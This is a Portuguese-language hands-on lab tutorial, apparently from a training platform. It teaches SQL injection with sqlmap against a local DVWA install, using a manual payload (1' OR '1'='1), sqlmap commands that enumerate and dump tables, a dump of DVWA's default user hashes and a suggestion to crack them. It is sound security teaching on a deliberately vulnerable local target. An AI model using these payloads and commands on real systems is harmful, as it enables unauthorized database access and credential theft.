Explorar Injeção SQL com sqlmap

LinuxBeginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá como explorar vulnerabilidades de injeção SQL usando o sqlmap, uma ferramenta automatizada para injeção SQL e tomada de controle de banco de dados. Você praticará a instalação do sqlmap, a configuração de uma aplicação web vulnerável (DVWA) e a execução de vários ataques de injeção SQL para extrair dados sensíveis.

O laboratório demonstra técnicas práticas para identificar pontos de injeção, executar consultas de banco de dados e analisar informações extraídas. Através deste exercício prático, você adquirirá habilidades essenciais tanto para testes de segurança ofensivos quanto para avaliação de vulnerabilidades defensivas.

Instalar sqlmap

Nesta etapa, você instalará o sqlmap, uma ferramenta de teste de penetração (penetration testing) de código aberto popular para detectar e explorar vulnerabilidades de injeção SQL. A injeção SQL é uma vulnerabilidade comum de segurança web que permite que atacantes interfiram nas consultas de banco de dados. O sqlmap automatiza o processo de detecção e exploração dessas vulnerabilidades.

O sqlmap é escrito em Python, então usaremos o gerenciador de pacotes do Python, pip, para instalá-lo. O pip é uma ferramenta que vem com o Python e ajuda a instalar e gerenciar pacotes Python adicionais. Siga estas etapas cuidadosamente:

  1. Primeiro, certifique-se de estar no diretório de trabalho padrão. Isso é importante porque mantém seus arquivos de projeto organizados:
cd ~/project
  1. Atualize o pip para a versão mais recente. Manter o pip atualizado garante que você possa instalar as versões mais recentes dos pacotes e evitar problemas de compatibilidade:
pip install --upgrade pip
  1. Instale o sqlmap usando o pip. Este comando baixa o sqlmap e todas as suas dependências do Python Package Index (PyPI):
pip install sqlmap
  1. Verifique a instalação verificando a versão. Isso confirma que o sqlmap está instalado corretamente e mostra qual versão você tem:
sqlmap --version

Você deve ver uma saída semelhante a:

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal...

[xx:xx:xx] [INFO] the back-end DBMS is
sqlmap version: 1.7.x

Isso confirma que o sqlmap foi instalado com sucesso. A ferramenta estará disponível globalmente em seu sistema, pois o pip instala pacotes no ambiente Python do usuário. O aviso legal lembra que o sqlmap só deve ser usado em sistemas que você tem permissão para testar.

Pontos-chave para iniciantes:

  • O pip lida automaticamente com o download e a instalação de pacotes Python
  • A flag --upgrade atualiza o próprio pip para a versão mais recente
  • O sqlmap é instalado no diretório site-packages do Python, onde todos os pacotes Python residem
  • A flag --version é uma maneira padrão de verificar a instalação em muitas ferramentas de linha de comando
  • A saída mostra o número da versão do sqlmap e informações legais importantes sobre o uso adequado

Configurar um Aplicativo Web Vulnerável

Nesta etapa, você configurará uma aplicação web deliberadamente vulnerável chamada "Damn Vulnerable Web Application" (DVWA), que contém vulnerabilidades de injeção SQL. Isso servirá como nosso ambiente de teste para praticar técnicas de injeção SQL com o sqlmap. O DVWA é projetado especificamente para que profissionais e estudantes de segurança aprendam sobre vulnerabilidades web em um ambiente seguro e legal.

  1. Primeiro, certifique-se de estar no diretório correto. O diretório ~/project é onde armazenaremos todos os nossos arquivos de laboratório:
cd ~/project
  1. Clone o repositório DVWA do GitHub. Este comando baixa todos os arquivos da aplicação para sua máquina local:
git clone https://github.com/digininja/DVWA.git
  1. Navegue para o diretório DVWA. É aqui que todos os arquivos da aplicação são armazenados após a clonagem:
cd DVWA
  1. Inicie o servidor web embutido do PHP. Estamos usando a porta 8000 porque ela está comumente disponível e não entrará em conflito com outros serviços. O 0.0.0.0 significa que o servidor aceitará conexões de qualquer interface de rede:
php -S 0.0.0.0:8000
  1. Abra uma nova aba do terminal (clique com o botão direito no terminal e selecione "Nova Aba") enquanto mantém o servidor em execução. Isso permite que você continue trabalhando enquanto o servidor web permanece ativo.

  2. Na nova aba, verifique se o servidor está funcionando corretamente. O comando curl busca o conteúdo da página inicial para confirmar que a aplicação está respondendo:

curl http://localhost:8000

Você deve ver uma saída HTML contendo "Damn Vulnerable Web Application (DVWA)".

Para iniciantes que entendem os componentes:

  • DVWA é uma aplicação web PHP/MySQL projetada especificamente com vulnerabilidades de segurança para fins de aprendizado
  • O servidor embutido do PHP (php -S) é uma maneira simples de executar aplicações PHP durante o desenvolvimento
  • A porta 8000 é uma porta alternativa comum para servidores de desenvolvimento quando a porta 80 não está disponível
  • A aplicação estará acessível em seu navegador em http://localhost:8000

Observação: Mantenha o servidor em execução na primeira aba do terminal durante todo o laboratório. Todas as etapas subsequentes usarão esta aplicação vulnerável. Se você fechar esta aba acidentalmente, precisará reiniciar o servidor repetindo a etapa 4.

Localizar um Ponto de Injeção

Nesta etapa, aprenderemos como identificar uma vulnerabilidade básica de injeção SQL no DVWA (Damn Vulnerable Web Application). Este é um primeiro passo crucial antes de usar ferramentas automatizadas como o sqlmap, pois precisamos confirmar manualmente onde a vulnerabilidade existe.

  1. Primeiro, certifique-se de que o servidor DVWA ainda está em execução (da Etapa 2). Caso contrário, inicie-o novamente:
cd ~/project/DVWA && php -S 0.0.0.0:8000

Este comando inicia um servidor web PHP executando o DVWA na porta 8000.

  1. Abra o DVWA em seu navegador visitando:
http://localhost:8000
  1. Faça login com estas credenciais:
Usuário: admin
Senha: password

Estas são as credenciais padrão fornecidas pelo DVWA para fins de teste.

  1. Defina o nível de segurança como "low" (menu à esquerda: DVWA Security -> set to Low -> Submit)
    O DVWA tem diferentes níveis de segurança - estamos usando "low" para demonstrar vulnerabilidades básicas sem proteções.

  2. Navegue até "SQL Injection" no menu à esquerda
    É aqui que testaremos as vulnerabilidades de injeção SQL.

  3. Teste a injeção SQL inserindo isto no campo User ID:

1' OR '1'='1

Esta é uma string de teste clássica de injeção SQL. Vamos detalhá-la:

  • A aspa simples (') fecha a consulta original
  • OR '1'='1' adiciona uma condição que é sempre verdadeira
  • Juntos, eles manipulam a consulta SQL para retornar todos os registros
  1. Clique em "Submit". Você deve ver todos os registros de usuário retornados, indicando uma injeção bem-sucedida.
    Se você vir mais dados do que o esperado (todos os usuários em vez de apenas um), isso confirma que a injeção funcionou.

Conceitos-chave para iniciantes:

  • A injeção SQL ocorre quando a entrada do usuário é incluída diretamente em consultas de banco de dados sem a sanitização adequada
  • A aspa simples (') é um caractere comum usado para sair da sintaxe de consulta SQL pretendida
  • 'OR '1'='1' é uma carga útil de teste básica que explora isso criando uma condição que é sempre verdadeira
  • O nível de segurança "low" remove as proteções para que possamos nos concentrar em aprender a vulnerabilidade

Este teste bem-sucedido mostra que o parâmetro User ID é vulnerável à injeção SQL. Na próxima etapa, usaremos este ponto de vulnerabilidade confirmado com o sqlmap para uma exploração mais avançada. Lembre-se de que encontrar pontos de injeção manualmente ajuda a entender como as ferramentas automatizadas funcionam nos bastidores.

Extrair Dados com sqlmap

Nesta etapa, você usará o sqlmap, uma ferramenta automatizada de injeção SQL, para explorar a vulnerabilidade que identificamos anteriormente. A injeção SQL permite que invasores interajam diretamente com um banco de dados, e o sqlmap ajuda a automatizar este processo testando parâmetros e extraindo informações.

  1. Primeiro, certifique-se de estar no diretório do projeto onde executaremos todos os comandos:
cd ~/project
  1. Execute o sqlmap contra a página vulnerável. O parâmetro --cookie é crucial aqui porque o DVWA requer autenticação. Substitua <PHPSESSID> pelo valor do cookie que você obteve ao fazer login no DVWA:
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" --batch

A flag --batch diz ao sqlmap para usar as opções padrão automaticamente, o que é útil para iniciantes que estão aprendendo a ferramenta.

  1. Quando o sqlmap perguntar sobre salvar a sessão, digite "Y" e pressione Enter. Isso permite que você retome a varredura mais tarde, se necessário.

  2. Para descobrir quais bancos de dados existem no servidor, usaremos a flag --dbs, que significa "databases" (bancos de dados):

sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" --dbs --batch
  1. A saída mostrará os bancos de dados disponíveis. Você deve ver dois bancos de dados listados:
available databases [2]:
[*] dvwa
[*] information_schema

dvwa é nosso banco de dados alvo, enquanto information_schema é um banco de dados MySQL padrão contendo metadados.

  1. Agora, vamos examinar as tabelas dentro do banco de dados dvwa. O parâmetro -D especifica o nome do banco de dados, e --tables lista seu conteúdo:
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --tables --batch

Parâmetros-chave explicados:

  • --cookie: Inclui suas credenciais de sessão para manter o acesso autenticado
  • --batch: Executa o sqlmap em modo não interativo usando as escolhas padrão
  • --dbs: Descobre os nomes dos bancos de dados disponíveis no servidor
  • -D: Seleciona um banco de dados específico para investigar
  • --tables: Recupera a lista de tabelas dentro do banco de dados escolhido

Analisar os Dados Recuperados

Nesta etapa, examinaremos as informações confidenciais do banco de dados que o sqlmap extraiu com sucesso por meio da injeção SQL. Isso demonstra o impacto real das vulnerabilidades de injeção SQL, mostrando exatamente quais dados os invasores podem acessar.

  1. Primeiro, vamos recuperar todos os dados da tabela 'users' no banco de dados DVWA. Este comando se baseia no que fizemos anteriormente, mas agora estamos visando especificamente a tabela users para ver informações de credenciais (substitua pelo seu cookie de sessão):
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa -T users --dump --batch

O -D dvwa especifica o banco de dados, -T users visa a tabela users e --dump recupera todo o seu conteúdo.

  1. A saída revela informações confidenciais do usuário armazenadas no banco de dados:
Database: dvwa
Table: users
[5 entries]
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| user_id | first_name | last_name | user    | password                         | avatar    | last_login | failed_login        |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| 1       | admin      | admin     | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 | admin.jpg | NULL       | 0                   |
| 2       | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | gordonb.jpg | NULL       | 0                   |
| 3       | Hack       | Me        | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b | 1337.jpg  | NULL       | 0                   |
| 4       | Pablo      | Picasso   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 | pablo.jpg | NULL       | 0                   |
| 5       | Bob        | Smith     | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 | smithy.jpg | NULL       | 0                   |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+

Observe que a coluna password contém hashes MD5 em vez de senhas em texto simples. Embora isso seja melhor do que armazenar senhas brutas, o MD5 é considerado criptograficamente quebrado e vulnerável a ataques de tabela arco-íris.

  1. Você pode tentar quebrar esses hashes usando ferramentas online como CrackStation, copiando e colando os valores de hash. Isso mostra como algoritmos de hash fracos podem ser revertidos para revelar senhas originais.

  2. Para entender a estrutura completa do banco de dados, podemos recuperar seu esquema:

sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --schema --batch

A flag --schema revela todas as tabelas e suas estruturas de coluna, dando aos invasores um roteiro de todo o banco de dados. Esta é uma informação extremamente valiosa para exploração posterior.

Principais conclusões para iniciantes:

  • O parâmetro --dump extrai todos os dados de uma tabela especificada
  • Os hashes MD5 geralmente podem ser quebrados usando tabelas arco-íris pré-computadas
  • As informações do esquema do banco de dados ajudam os invasores a entender a estrutura dos dados
  • Este exercício demonstra como uma única vulnerabilidade de injeção SQL pode levar ao comprometimento completo do banco de dados
  • Sempre use algoritmos de hash fortes e com sal, como bcrypt, para armazenamento de senhas

Resumo

Neste laboratório, você aprendeu como instalar e usar o sqlmap para testes de injeção SQL, começando com a configuração do ambiente por meio da instalação do pip e verificação da versão. O laboratório guiou você pela implantação do DVWA como um alvo vulnerável e pelo estabelecimento de um servidor de teste local.

Você praticou a identificação de vulnerabilidades de injeção SQL e a extração de dados usando as ferramentas automatizadas do sqlmap. Os exercícios cobriram operações essenciais da linha de comando, demonstrando técnicas práticas de teste de segurança cibernética para detectar vulnerabilidades de banco de dados.